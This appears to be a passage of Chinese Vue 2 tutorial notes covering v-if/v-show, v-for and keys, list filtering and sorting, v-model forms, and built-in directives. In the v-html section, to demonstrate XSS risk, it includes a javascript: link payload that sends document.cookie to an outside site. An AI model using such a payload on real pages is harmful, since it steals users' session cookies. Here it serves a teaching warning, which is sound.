  6.         <script type="text/javascript" src="../js/vue.js"></script>
  7.     </head>
  8.     <body>
  9.         <!-- 准备好一个容器-->
  10.         <div id="root">
  11.             <h2>当前的n值是:{{n}}</h2>
  12.             <button @click="n++">点我n+1</button>
  13.             <!-- 使用v-if做条件渲染 -->
  14.             <h2 v-if="false">欢迎来到{{name}}</h2> 
  15.             <h2 v-if="1 === 1">欢迎来到{{name}}</h2>
  17.             <!-- v-else和v-else-if -->
  18.             <div v-if="n === 1">Angular</div>
  19.             <div v-else-if="n === 2">React</div>
  20.             <div v-else-if="n === 3">Vue</div>
  21.             <div v-else>哈哈</div> -->
  23.             <!-- v-if与template的配合使用 -->
  24.             <template v-if="n === 1">
  25.                 <h2>你好</h2>
  26.                 <h2>尚硅谷</h2>
  27.                 <h2>北京</h2>
  28.             </template>
  30.         </div>
  31.     </body>
  33.     <script type="text/javascript">
  34.         Vue.config.productionTip = false
  36.         const vm = new Vue({
  37.             el:'#root',
  38.             data:{
  39.                 name:'尚硅谷',
  40.                 n:0
  41.             }
  42.         })
  43.     </script>
  44. </html>

10.2 v-show的使用：

写法：v-show=”表达式”（相当于display：block/none）
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

ps:使用v-if的时，元素可能无法获取到，而使用v-show一定可以获取到。

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>条件渲染</title>
  6.         <script type="text/javascript" src="../js/vue.js"></script>
  7.     </head>
  8.     <body>
  9.         <!-- 准备好一个容器-->
  10.         <div id="root">
  11.             <h2>当前的n值是:{{n}}</h2>
  12.             <button @click="n++">点我n+1</button>
  13.             <!-- 使用v-show做条件渲染 -->
  14.             <h2 v-show="false">欢迎来到{{name}}</h2>
  15.             <h2 v-show="1 === 1">欢迎来到{{name}}</h2> 
  17.         </div>
  18.     </body>
  20.     <script type="text/javascript">
  21.         Vue.config.productionTip = false
  23.         const vm = new Vue({
  24.             el:'#root',
  25.             data:{
  26.                 name:'尚硅谷',
  27.                 n:0
  28.             }
  29.         })
  30.     </script>
  31. </html>

十一、列表渲染（v-for）：

v-for指令:
1.用于展示列表数据
2.语法：v-for=”(item, index) in xxx” :key=”yyy”
3.可遍历：数组、对象、字符串（用的很少）、指定次数（用的很少）

  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8" />
  5.         <title>基本列表</title>
  6.         <script type="text/javascript" src="../js/vue.js"></script>
  7.     </head>
  8.     <body>
  9.         <!-- 准备好一个容器-->
  10.         <div id="root">
  11.             <!-- 遍历数组 -->
  12.             <h2>人员列表（遍历数组）</h2>
  13.             <ul>
  14.                 <li v-for="(p,index) of persons" :key="index">
  15.                     {{p.name}}-{{p.age}}
  16.                 </li>
  17.             </ul>
  19.             <!-- 遍历对象 -->
  20.             <h2>汽车信息（遍历对象）</h2>
  21.             <ul>
  22.                 <li v-for="(value,k) of car" :key="k">
  23.                     {{k}}-{{value}}
  24.                 </li>
  25.             </ul>
  27.             <!-- 遍历字符串 -->
  28.             <h2>测试遍历字符串（用得少）</h2>
  29.             <ul>
  30.                 <li v-for="(char,index) of str" :key="index">
  31.                     {{char}}-{{index}}
  32.                 </li>
  33.             </ul>
  35.             <!-- 遍历指定次数 -->
  36.             <h2>测试遍历指定次数（用得少）</h2>
  37.             <ul>
  38.                 <li v-for="(number,index) of 5" :key="index">
  39.                     {{index}}-{{number}}
  40.                 </li>
  41.             </ul>
  42.         </div>
  44.         <script type="text/javascript">
  45.             Vue.config.productionTip = false
  47.             new Vue({
  48.                 el:'#root',
  49.                 data:{
  50.                     persons:[
  51.                         {id:'001',name:'张三',age:18},
  52.                         {id:'002',name:'李四',age:19},
  53.                         {id:'003',name:'王五',age:20}
  54.                     ],
  55.                     car:{
  56.                         name:'奥迪A8',
  57.                         price:'70万',
  58.                         color:'黑色'
  59.                     },
  60.                     str:'hello'
  61.                 }
  62.             })
  63.         </script>
  64. </html>

11.1 vue中的key有什么作用？

  1. 虚拟DOM中key的作用：
    key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】,
    随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较，比较规则如下：

    2.对比规则：
    (1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
    ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！
    ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。
    (2).旧虚拟DOM中未找到与新虚拟DOM相同的key创建新的真实DOM，随后渲染到到页面。

    3. 用index作为key可能会引发的问题：
    1. 若对数据进行：逆序添加、逆序删除等破坏顺序操作:
    会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
    2. 如果结构中还包含输入类的DOM：
    会产生错误DOM更新 ==> 界面有问题。
    4. 开发中如何选择key?:
    1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
    2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

    11.2 列表的过滤：

    通过对数组进行遍历比对返回新的数据

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>列表过滤</title>
    6.      <script type="text/javascript" src="../js/vue.js"></script>
    7.  </head>
    8.  <body>
    9.      <!-- 准备好一个容器-->
    10.      <div id="root">
    11.          <h2>人员列表</h2>
    12.          <input type="text" placeholder="请输入名字" v-model="keyWord">
    13.          <ul>
    14.              <li v-for="(p,index) in filPerons" :key="index">
    15.                  {{p.name}}-{{p.age}}-{{p.sex}}
    16.              </li>
    17.          </ul>
    18.      </div>
    20.      <script type="text/javascript">
    21.          Vue.config.productionTip = false
    23.          //用computed实现
    24.          new Vue({
    25.              el:'#root',
    26.              data:{
    27.                  keyWord:'',
    28.                  persons:[
    29.                      {id:'001',name:'马冬梅',age:19,sex:'女'},
    30.                      {id:'002',name:'周冬雨',age:20,sex:'女'},
    31.                      {id:'003',name:'周杰伦',age:21,sex:'男'},
    32.                      {id:'004',name:'温兆伦',age:22,sex:'男'}
    33.                  ]
    34.              },
    35.              computed:{
    36.                  filPerons(){
    37.          //这里的filter代表循环  比对如果的true结果保留  false不保留数据
    38.                      return this.persons.filter((p)=>{
    39.                          return p.name.indexOf(this.keyWord) !== -1
    40.                      })
    41.                  }
    42.              }
    43.          }) 
    44.      </script>
    45. </html>

    11.3 列表排序：

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>列表排序</title>
    6.      <script type="text/javascript" src="../js/vue.js"></script>
    7.  </head>
    8.  <body>
    9.      <!-- 准备好一个容器-->
    10.      <div id="root">
    11.          <h2>人员列表</h2>
    12.          <input type="text" placeholder="请输入名字" v-model="keyWord">
    13.          <button @click="sortType = 2">年龄升序</button>
    14.          <button @click="sortType = 1">年龄降序</button>
    15.          <button @click="sortType = 0">原顺序</button>
    16.          <ul>
    17.              <li v-for="(p,index) of filPerons" :key="p.id">
    18.                  {{p.name}}-{{p.age}}-{{p.sex}}
    19.                  <input type="text">
    20.              </li>
    21.          </ul>
    22.      </div>
    24.      <script type="text/javascript">
    25.          Vue.config.productionTip = false
    27.          new Vue({
    28.              el:'#root',
    29.              data:{
    30.                  keyWord:'',
    31.                  sortType:0, //0原顺序 1降序 2升序
    32.                  persons:[
    33.                      {id:'001',name:'马冬梅',age:30,sex:'女'},
    34.                      {id:'002',name:'周冬雨',age:31,sex:'女'},
    35.                      {id:'003',name:'周杰伦',age:18,sex:'男'},
    36.                      {id:'004',name:'温兆伦',age:19,sex:'男'}
    37.                  ]
    38.              },
    39.              computed:{
    40.                  filPerons(){
    41.                      const arr = this.persons.filter((p)=>{
    42.                          return p.name.indexOf(this.keyWord) !== -1
    43.                      })
    44.                      //判断一下是否需要排序
    45.                      if(this.sortType){
    46.                          arr.sort((p1,p2)=>{
    47.                              return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
    48.                          })
    49.                      }
    50.                      return arr
    51.                  }
    52.              }
    53.          }) 
    55.      </script>
    56. </html>

    11.4 列表数据的更换：

    通过对数组的替换或删除就行操作:
    this.数组名.splice(index,len,ite])
    index:代表数组的起始位置
    len：代表替换/删除的长度
    item：代表替换的数据

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>更新时的一个问题</title>
    6.      <script type="text/javascript" src="../js/vue.js"></script>
    7.  </head>
    8.  <body>
    9.      <!-- 准备好一个容器-->
    10.      <div id="root">
    11.          <h2>人员列表</h2>
    12.          <button @click="updateMei">更新马冬梅的信息</button>
    13.          <ul>
    14.              <li v-for="(p,index) of persons" :key="p.id">
    15.                  {{p.name}}-{{p.age}}-{{p.sex}}
    16.              </li>
    17.          </ul>
    18.      </div>
    20.      <script type="text/javascript">
    21.          Vue.config.productionTip = false
    23.          const vm = new Vue({
    24.              el:'#root',
    25.              data:{
    26.                  persons:[
    27.                      {id:'001',name:'马冬梅',age:30,sex:'女'},
    28.                      {id:'002',name:'周冬雨',age:31,sex:'女'},
    29.                      {id:'003',name:'周杰伦',age:18,sex:'男'},
    30.                      {id:'004',name:'温兆伦',age:19,sex:'男'}
    31.                  ]
    32.              },
    33.              methods: {
    34.                  updateMei(){
    35.                      // this.persons[0].name = '马老师' //奏效
    36.                      // this.persons[0].age = 50 //奏效
    37.                      // this.persons[0].sex = '男' //奏效
    38.                      // this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
    40.                      this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
    41.                  }
    42.              }
    43.          }) 
    45.      </script>
    46. </html>

    11.5 Vue.set的使用：

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>Vue监测数据改变的原理</title>
    6.      <!-- 引入Vue -->
    7.      <script type="text/javascript" src="../js/vue.js"></script>
    8.  </head>
    9.  <body>
    10.      <!-- 准备好一个容器-->
    11.      <div id="root">
    12.          <h1>学生信息</h1>
    13.          <button @click="addSex">添加一个性别属性，默认值是男</button>
    14.          <h2>姓名：{{student.name}}</h2>
    15.          <h2 v-if="student.sex">性别：{{student.sex}}</h2>
    16.          <h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2>
    17.          <ul>
    18.              <li v-for="(f,index) in student.friends" :key="index">
    19.                  {{f.name}}--{{f.age}}
    20.              </li>
    21.          </ul>
    22.      </div>
    23.  </body>
    25.  <script type="text/javascript">
    26.      Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    28.      const vm = new Vue({
    29.          el:'#root',
    30.          data:{
    31.              student:{
    32.                  name:'tom',
    33.                  age:{
    34.                      rAge:40,
    35.                      sAge:29,
    36.                  },
    37.                  friends:[
    38.                      {name:'jerry',age:35},
    39.                      {name:'tony',age:36}
    40.                  ]
    41.              }
    42.          },
    43.          methods: {
    44.              addSex(){
    45.        //注意如果set的是一个根节点会报错
    46.                  // Vue.set(this.student,'sex','男')
    47.                  this.$set(this.student,'sex','男')
    48.              }
    49.          }
    50.      })
    51.  </script>
    52. </html>

    十二、收集input表单中的数据（v-model）：

    若：，则v-model收集的是value值，用户输入的就是value值。
    若：，则v-model收集的是value值，且要给标签配置value值。
    若：
    1.没有配置input的value属性，那么收集的就是checked（勾选 or 未勾选，是布尔值）
    2.配置input的value属性:
    (1)v-model的初始值是非数组，那么收集的就是checked（勾选 or 未勾选，是布尔值）
    (2)v-model的初始值是数组，那么收集的的就是value组成的数组
    备注：v-model的三个修饰符：
    lazy：失去焦点再收集数据
    number：输入字符串转为有效的数字
    trim：输入首尾空格过滤

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>收集表单数据</title>
    6.      <script type="text/javascript" src="../js/vue.js"></script>
    7.  </head>
    8.  <body>
    9.      <!-- 准备好一个容器-->
    10.      <div id="root">
    11.          <form @submit.prevent="demo">
    12.              账号：<input type="text" v-model.trim="userInfo.account"> <br/><br/>
    13.              密码：<input type="password" v-model="userInfo.password"> <br/><br/>
    14.              年龄：<input type="number" v-model.number="userInfo.age"> <br/><br/>
    15.              性别：
    16.              男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
    17.              女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
    18.              爱好：
    19.              学习<input type="checkbox" v-model="userInfo.hobby" value="study">
    20.              打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
    21.              吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
    22.              <br/><br/>
    23.              所属校区
    24.              <select v-model="userInfo.city">
    25.                  <option value="">请选择校区</option>
    26.                  <option value="beijing">北京</option>
    27.                  <option value="shanghai">上海</option>
    28.                  <option value="shenzhen">深圳</option>
    29.                  <option value="wuhan">武汉</option>
    30.              </select>
    31.              <br/><br/>
    32.              其他信息：
    33.              <textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
    34.              <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
    35.              <button>提交</button>
    36.          </form>
    37.      </div>
    38.  </body>
    40.  <script type="text/javascript">
    41.      Vue.config.productionTip = false
    43.      new Vue({
    44.          el:'#root',
    45.          data:{
    46.              userInfo:{
    47.                  account:'',
    48.                  password:'',
    49.                  age:18,
    50.                  sex:'female',
    51.                  hobby:[],
    52.                  city:'beijing',
    53.                  other:'',
    54.                  agree:''
    55.              }
    56.          },
    57.          methods: {
    58.              demo(){
    59.                  console.log(JSON.stringify(this.userInfo))
    60.              }
    61.          }
    62.      })
    63.  </script>
    64. </html>

    十三、内置指令：

    我们学过的指令：
    v-bind : 单向绑定解析表达式, 可简写为 :xxx
    v-model : 双向数据绑定
    v-for : 遍历数组/对象/字符串
    v-on : 绑定事件监听, 可简写为@
    v-if : 条件渲染（动态控制节点是否存存在）
    v-else : 条件渲染（动态控制节点是否存存在）
    v-show : 条件渲染 (动态控制节点是否展示)

    13.1 v-text指令：

    1.                  1.作用：向其所在的节点中渲染文本内容。<br />                        2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>v-text指令</title>
    6.      <!-- 引入Vue -->
    7.      <script type="text/javascript" src="../js/vue.js"></script>
    8.  </head>
    9.  <body>
    10.      <!-- 准备好一个容器-->
    11.      <div id="root">
    12.          <div>你好，{{name}}</div>
    13.          <div v-text="name"></div>
    14.                  <!--不会进行html编译-->
    15.          <div v-text="str"></div>
    16.      </div>
    17.  </body>
    19.  <script type="text/javascript">
    20.      Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    22.      new Vue({
    23.          el:'#root',
    24.          data:{
    25.              name:'尚硅谷',
    26.              str:'<h3>你好啊！</h3>'
    27.          }
    28.      })
    29.  </script>
    30. </html>

    13.2 v-html指令：

    1.作用：向指定节点中渲染包含html结构的内容。
    2.与插值语法的区别：
    (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。
    (2).v-html可以识别html结构。
    3.严重注意：v-html有安全性问题！！！！
    (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>v-html指令</title>
    6.      <!-- 引入Vue -->
    7.      <script type="text/javascript" src="../js/vue.js"></script>
    8.  </head>
    9.  <body>
    11.      <!-- 准备好一个容器-->
    12.      <div id="root">
    13.          <div>你好，{{name}}</div>
    14.          <div v-html="str"></div>
    15.          <div v-html="str2"></div>
    16.      </div>
    17.  </body>
    19.  <script type="text/javascript">
    20.      Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    22.      new Vue({
    23.          el:'#root',
    24.          data:{
    25.              name:'哈哈',
    26.              str:'<h3>你好啊！</h3>',
    27.              str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了，快来！</a>',
    28.          }
    29.      })
    30.  </script>
    31. </html>

    13.3 v-cloak指令：

    v-cloak指令（没有值）：
    1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
    2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>v-cloak指令</title>
    6.      <style>
    7.          [v-cloak]{
    8.              display:none;
    9.          }
    10.      </style>
    11.      <!-- 引入Vue -->
    12.  </head>
    13.  <body>
    14.      <!-- 准备好一个容器-->
    15.      <div id="root">
    16.        <!--在没有加载vue.js的时候该h2标签不会被展示出来-->
    17.          <h2 v-cloak>{{name}}</h2>
    18.      </div>
    19.      <!-- vue.js延迟加载5秒钟-->
    20.      <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    21.  </body>
    23.  <script type="text/javascript">
    24.      console.log(1)
    25.      Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    27.      new Vue({
    28.          el:'#root',
    29.          data:{
    30.              name:'尚硅谷'
    31.          }
    32.      })
    33.  </script>
    34. </html>

    13.4 v-once指令：

    v-once指令：
    1.v-once所在节点在初次动态渲染后，就视为静态内容了。
    2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

    1. <!DOCTYPE html>
    2. <html>
    3.  <head>
    4.      <meta charset="UTF-8" />
    5.      <title>v-once指令</title>
    6.      <!-- 引入Vue -->
    7.      <script type="text/javascript" src="../js/vue.js"></script>
    8.  </head>
    9.  <body>
    10.      <!-- 准备好一个容器-->
    11.      <div id="root">
    12.            <!-- 该h2标签只保留第一次n的初始值-->
    13.          <h2 v-once>初始化的n值是:{{n}}</h2>
    14.          <h2>当前的n值是:{{n}}</h2>
    15.          <button @click="n++">点我n+1</button>
    16.      </div>
    17.  </body>
    19.  <script type="text/javascript">
    20.      Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    22.      new Vue({
    23.          el:'#root',
    24.          data:{
    25.              n:1
    26.          }
    27.      })
    28.  </script>
    29. </html>

    13.5 v-pre指令：

    v-pre指令：
    1.跳过其所在节点的编译过程。
    2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。 ```javascript <!DOCTYPE html> 

    1.  <meta charset="UTF-8" />
    2.  <title>v-pre指令</title>
    3.  <!-- 引入Vue -->
    4.  <script type="text/javascript" src="../js/vue.js"></script>

    1.  <!-- 准备好一个容器-->
    2.  <div id="root">
    4.      <h2 v-pre>Vue其实很简单</h2>
  1.         <h2 >当前的n值是:{{n}}</h2>
  2.         <button @click="n++">点我n+1</button>
  3.     </div>
  4. </body>
  6. <script type="text/javascript">
  7.     Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  9.     new Vue({
  10.         el:'#root',
  11.         data:{
  12.             n:1
  13.         }
  14.     })
  15. </script>

```